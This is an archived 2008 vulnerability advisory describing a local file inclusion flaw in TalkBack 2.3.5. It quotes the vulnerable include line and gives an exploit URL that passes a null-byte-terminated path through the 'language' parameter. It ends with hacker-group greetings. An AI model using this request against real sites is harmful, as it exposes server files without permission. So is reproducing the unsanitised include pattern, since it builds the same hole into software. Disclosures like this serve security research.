talkback-lfi.txt

2008-07-28T00:00:00
ID PACKETSTORM:68551
Type packetstorm
Reporter NoGe
Modified 2008-07-28T00:00:00

Description

                                        
                                            `=============================================================================================================  
  
[o] TalkBack 2.3.5 Local File Inclusion Vulnerability  
  
Software : TalkBack version 2.3.5  
Vendor : http://www.scripts.oldguy.us/talkback  
Author : NoGe  
Contact : noge[dot]code[at]gmail[dot]com  
  
=============================================================================================================  
  
[o] Vulnerable file  
  
install/help.php  
  
include "../language/{$_REQUEST['language']}.php";  
  
  
  
[o] Exploit  
  
http://localhost/[path]/install/help.php?language=[LFI]%00  
  
  
=============================================================================================================  
  
[o] Greetz  
  
supported by irc.nob0dy.net  
skulmatic olibekas ulga Cungkee nyubi k1tk4t str0ke  
H312Y yooogy mousekill }^-^{ martfella  
okegay OoN_Gay pagay (sungguh penyembunyian sebuah karakter dibalik makna kata) /me brb ngakak.. :)   
  
=============================================================================================================  
`